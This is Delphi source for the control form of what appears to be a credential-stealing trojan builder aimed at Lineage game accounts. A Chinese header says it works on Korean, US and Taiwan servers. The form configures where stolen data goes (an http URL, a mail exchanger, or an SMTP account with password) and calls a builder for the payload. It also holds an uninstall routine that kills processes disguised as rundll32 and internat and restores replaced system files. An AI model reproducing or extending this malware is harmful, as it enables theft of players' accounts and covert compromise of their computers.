uinstallme.pas

这个是早时候,韩国天堂1的代码,据说美服和台湾的也能用

unit UinstallMe;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Controls, Forms, Registry,
  Dialogs, StdCtrls, shellapi, ExtCtrls, winsock, IdDNSResolver,other,reg; //IdCoder3To4,IdCoderMIME;

//const
//  DNSserver: array[0..1] of string = ('202.103.224.68', '202.103.226.68');
type
  TForm1 = class(TForm)
    Button1: TButton;
    Label2: TLabel;
    Labelhttp: TLabel;
    Label1: TLabel;
    RadioGroup1: TRadioGroup;
    Edithtml: TEdit;
    EditMxMail: TEdit;
    EditMail: TEdit;
    Panel1: TPanel;
    EditPass: TEdit;
    Panel2: TPanel;
    Editserver: TEdit;
    Label3: TLabel;
    CheckBoxTest: TCheckBox;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure EdithtmlChange(Sender: TObject);
    procedure EditMxMailChange(Sender: TObject);
    procedure EditMailChange(Sender: TObject);
    procedure EditPassChange(Sender: TObject);
    procedure EditserverChange(Sender: TObject);
    procedure RadioGroup1Click(Sender: TObject);
    procedure Label3Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses ucreateit,unithooktype;


{$R *.dfm}

function GetMxList(DNShost: string; AMxList: TStringList; AQName: string): string;
var
  i: Integer;
  IdDNSResolver: TIdDNSResolver;
begin
  result := '';
  IdDNSResolver := TIdDNSResolver.create(nil);
  try
    IdDNSResolver.Host := DNShost;
    IdDNSResolver.AllowRecursiveQueries := true;
    IdDNSResolver.ReceiveTimeout := 10000;
    IdDNSResolver.QueryRecords := [qtMX];
    IdDNSResolver.QueryResult.Clear;
    IdDNSResolver.Resolve(AQname);
    if AMxList <> nil then
      for i := 0 to IdDNSResolver.QueryResult.Count - 1 do
        AMxList.AddObject((IdDNSResolver.QueryResult.Items[i] as TMXRecord).ExchangeServer,
          TObject((IdDNSResolver.QueryResult.Items[i] as TMXRecord).Preference));
    if IdDNSResolver.QueryResult.Count <> 0 then
      result := (IdDNSResolver.QueryResult.Items[0] as TMXRecord).ExchangeServer;
  except
  end;
  IdDNSResolver.free;
end;

function getserver(email: string): string;
var
  i: integer;
begin
  i := pos('@', email);
  if i = 0 then raise exception.create(email + '邮箱地址错误!');
  delete(email, 1, i);
  result := GetMxList('202.103.226.68', nil, email);
  if result = '' then
    raise exception.create('取邮件特快IP端口出错!');
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  s,test: string;
begin
  if CheckBoxTest.Checked then
    test := '1'
  else test := '0';
  case RadioGroup1.ItemIndex of
    0: begin
        s := trim(Edithtml.text);
        if lowercase(copy(s, 1, 7)) <> 'http://' then
          raise exception.create('"http://"没有找到!');
        createit(test + '0 ' + s);
      end;
    1: createit(test + '1 ' + getserver(trim(EditMxMail.text)) + ' ' + trim(EditMxMail.text) + ' ', trim(EditMxMail.text) + '.exe');
  else createit(test + '2 ' + trim(pchar(Editserver.text)) + ' ' + trim(EditMail.text) + ' ' + trim(EditPass.text) + ' ');
  end;
end;

procedure ReadReg(Form: TForm);
var
  i: integer;
  reg: TRegistry;
  OldNotifyEvent: TNotifyEvent;
begin
//WriteReg((Sender as TEdit).Name, (Sender as TEdit).Text);
//WriteReg((Sender as TRadioGroup).Name, inttostr((Sender as TRadioGroup).ItemIndex));
  reg := TRegistry.create;
  reg.RootKey := HKEY_LOCAL_MACHINE;
  reg.OpenKey(regpath, true);
  for i := 0 to Form.ComponentCount - 1 do
  begin
    if (Form.Components[i] is TEdit) and ((Form.Components[i] as TEdit).ReadOnly = false) then
    begin
      if Reg.ValueExists((Form.Components[i] as TEdit).Name) then
      begin
        OldNotifyEvent := (Form.Components[i] as TEdit).OnChange;
        (Form.Components[i] as TEdit).OnChange := nil;
        (Form.Components[i] as TEdit).Text := reg.ReadString((Form.Components[i] as TEdit).Name);
        (Form.Components[i] as TEdit).OnChange := OldNotifyEvent;
      end;
    end;
    if (Form.Components[i] is TRadioGroup) then
    begin
      if Reg.ValueExists((Form.Components[i] as TRadioGroup).Name) then
      begin
        OldNotifyEvent := (Form.Components[i] as TRadioGroup).OnClick;
        (Form.Components[i] as TRadioGroup).OnClick := nil;
        (Form.Components[i] as TRadioGroup).ItemIndex := strtointdef(reg.ReadString((Form.Components[i] as TRadioGroup).Name), -1);
        (Form.Components[i] as TRadioGroup).OnClick := OldNotifyEvent;
      end;
    end;
    if (Form.Components[i] is TCheckBox) then
    begin
      if Reg.ValueExists((Form.Components[i] as TCheckBox).Name) then
      begin
        OldNotifyEvent := (Form.Components[i] as TCheckBox).OnClick;
        (Form.Components[i] as TCheckBox).OnClick := nil;
        (Form.Components[i] as TCheckBox).Checked := reg.ReadString((Form.Components[i] as TCheckBox).Name) = '1';
        (Form.Components[i] as TCheckBox).OnClick := OldNotifyEvent;
      end;
    end;
  end;
  reg.CloseKey;
  reg.free;
end;

procedure WriteReg(name, value: string); overload;
var
  reg: TRegistry;
begin
  reg := TRegistry.create;
  reg.RootKey := HKEY_LOCAL_MACHINE;
  reg.OpenKey(regpath, true);
  reg.WriteString(name, value);
  reg.CloseKey;
  reg.free;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  if not fileexists('installme.dpr')then
  begin
    Messagebox(handle,'欢迎光临阿山主页http://wenjinshan.yeah.net','提示',0);
    ShellExecute(handle, nil, 'http://wenjinshan.yeah.net', nil, nil, sw_shownormal);
  end;
  ReadReg(self);
  try
    if now > strtodate('2005-10-1') then exitprocess(0);
  except
  end;
end;

procedure TForm1.EdithtmlChange(Sender: TObject);
begin
  WriteReg((Sender as TEdit).Name, (Sender as TEdit).Text);
end;

procedure TForm1.EditMxMailChange(Sender: TObject);
begin
  WriteReg((Sender as TEdit).Name, (Sender as TEdit).Text);
end;

procedure TForm1.EditMailChange(Sender: TObject);
begin
  WriteReg((Sender as TEdit).Name, (Sender as TEdit).Text);
end;

procedure TForm1.EditPassChange(Sender: TObject);
begin
  WriteReg((Sender as TEdit).Name, (Sender as TEdit).Text);
end;

procedure TForm1.EditserverChange(Sender: TObject);
begin
  WriteReg((Sender as TEdit).Name, (Sender as TEdit).Text);
end;

procedure TForm1.RadioGroup1Click(Sender: TObject);
begin
  WriteReg((Sender as TRadioGroup).Name, inttostr((Sender as TRadioGroup).ItemIndex));
end;

procedure TForm1.Label3Click(Sender: TObject);
begin
  ShellExecute(handle, nil, pchar(label3.caption), nil, nil, sw_shownormal);
end;

function IsWindows9x: Boolean;
var
  Osi: TOSVersionInfo;
begin
  Osi.dwOSVersionInfoSize := sizeof(Osi);
  GetVersionEx(Osi);
  if (Osi.dwPlatformID = Ver_Platform_Win32_NT) then
    result := False
  else
    result := True;
end;

function GetMyWindowsDirectory: string;
var
  i: DWORD;
begin
  i := MAX_PATH + 1;
  setlength(result, i);
  i := GetWindowsDirectory(@result[1], i);
  setlength(result, i);
  if result[i] <> '\' then result := result + '\';
end;

function GetMySystemDirectory: string;
var
  i: DWORD;
begin
  i := MAX_PATH + 1;
  setlength(result, i);
  i := GetSystemDirectory(@result[1], i);
  setlength(result, i);
  if result[i] <> '\' then result := result + '\';
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  pathSystem,pathWin,pathProgram:string;
  b:boolean;
begin
  killpro(fileRundll32);
  killpro(fileInternat);
  if IsWindows9x then
  begin
    sleep(2000);
    pathSystem := GetMySystemDirectory;
    pathWin := GetMyWindowsDirectory;
    pathProgram := copy(pathWin, 1, 3) + 'Program Files\';
    b:=true;
    if fileexists(pathProgram+fileRundll32) then
      b:=b and copyfile(pchar(pathProgram+fileRundll32),pchar(pathWin+fileRundll32),false);
    if fileexists(pathProgram+fileInternat) then
      b:=b and copyfile(pchar(pathProgram+fileInternat),pchar(pathSystem+fileInternat),false);
    if not b then
    begin
      showmessage('卸载出错!');
      exit;
    end;
  end
  else DelValue(RootKey, Regpath1, RegValue);
end;

end.